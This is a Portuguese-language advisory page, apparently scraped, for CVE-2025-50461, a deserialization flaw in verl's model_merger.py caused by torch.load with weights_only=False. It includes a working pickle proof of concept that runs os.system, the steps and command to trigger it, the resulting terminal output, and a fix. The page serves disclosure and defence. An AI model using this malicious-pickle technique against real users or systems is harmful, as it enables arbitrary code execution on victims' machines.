
Technical Details and Exploit for CVE-2025-50461
Estado: RESERVED
Este ID CVE foi atribuído, mas ainda não foi publicado na lista oficial de CVEs.Existe uma vulnerabilidade de desserialização no verl 3.0.0 da Volcengine, especificamente no script scripts/model_merger.py ao usar o backend "fsdp". O script chama torch.load() com weights_only=False em arquivos .pt fornecidos pelo usuário, permitindo que atacantes executem código arbitrário se um arquivo de modelo maliciosamente criado for carregado. Um atacante pode explorar isso convencendo uma vítima a baixar e colocar um arquivo de modelo malicioso em um diretório local com um padrão de nome específico. Esta vulnerabilidade pode levar à execução arbitrária de código com os privilégios do usuário que executa o script.
scripts/model_merger.pymalicious.pt)import pickle
import os
class Malicious:
def __reduce__(self):
return (os.system, ("mkdir HACKED!",))
with open("malicious.pt", "wb") as f:
pickle.dump(Malicious(), f)
mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/
python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
convert_fsdp_checkpoints_to_hfmodels()
File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
return _legacy_load(
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!' Notice.txt TESTS docker examples outputs pyproject.toml requirements.txt scripts test_prime.sh tmp verl.egg-info
LICENSE README.md data docs patches recipe requirements_sglang.txt setup.py tests verl verl_demo.log
O comando mkdir HACKED! é executado no sistema da vítima.
weights_only=True por padrão, reduzindo os riscos de desserialização.weights_only=True ao chamar torch.load.state_dict = torch.load(path, map_location="cpu", weights_only=True)
| Campo | Valor |
|---|
| CVE ID | CVE-2025-50461 |
| Pontuação CVSS | TBD |
| CWE | CWE-502: Deserialization of Untrusted Data |
| Data do Relatório | 2025-04-30 |
| Data de Divulgação | 2025-08-15 |
| Versão Afetada | <= v0.4.0 |
| Versão Corrigida |